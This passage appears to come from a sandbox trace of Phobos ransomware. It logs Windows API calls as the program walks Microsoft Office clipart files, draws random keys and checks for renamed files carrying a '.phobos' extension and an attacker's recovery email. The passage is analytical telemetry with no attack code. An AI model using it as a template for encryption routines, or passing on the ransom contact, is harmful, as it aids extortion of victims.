Office\\root\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing2.wmf")) returned 0x220 [0155.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING2.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing2.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.023] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3959) returned 1 [0155.023] CloseHandle (hObject=0x588) returned 1 [0155.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif")) returned 0x220 [0155.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.024] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.025] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=47) returned 1 [0155.025] CloseHandle (hObject=0x588) returned 1 [0155.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif")) returned 0x220 [0155.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.025] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.026] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=733) returned 1 [0155.026] CloseHandle (hObject=0x588) returned 1 [0155.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif")) returned 0x220 [0155.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.026] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.026] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1429) returned 1 [0155.027] CloseHandle (hObject=0x588) returned 1 [0155.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif")) returned 0x220 [0155.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.027] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.029] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4561) returned 1 [0155.030] CloseHandle (hObject=0x588) returned 1 [0155.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif")) returned 0x220 [0155.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.035] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7039) returned 1 [0155.035] CloseHandle (hObject=0x588) returned 1 [0155.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif")) returned 0x220 [0155.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.040] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8215) returned 1 [0155.040] CloseHandle (hObject=0x588) returned 1 [0155.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif")) returned 0x220 [0155.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.044] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8230) returned 1 [0155.044] CloseHandle (hObject=0x528) returned 1 [0155.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif")) returned 0x220 [0155.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.052] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=908) returned 1 [0155.052] CloseHandle (hObject=0x528) returned 1 [0155.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif")) returned 0x220 [0155.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.053] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=893) returned 1 [0155.053] CloseHandle (hObject=0x528) returned 1 [0155.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif")) returned 0x220 [0155.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.053] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.054] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1302) returned 1 [0155.055] CloseHandle (hObject=0x528) returned 1 [0155.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif")) returned 0x220 [0155.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.055] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.056] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2454) returned 1 [0155.056] CloseHandle (hObject=0x528) returned 1 [0155.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif")) returned 0x220 [0155.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.059] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.062] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5626) returned 1 [0155.062] CloseHandle (hObject=0x528) returned 1 [0155.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif")) returned 0x220 [0155.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.064] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2431) returned 1 [0155.064] CloseHandle (hObject=0x528) returned 1 [0155.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif")) returned 0x220 [0155.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.064] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0155.066] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1401) returned 1 [0155.066] CloseHandle (hObject=0x570) returned 1 [0155.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif")) returned 0x220 [0155.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.068] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.070] GetFileSizeEx (in: hFile=0x528, 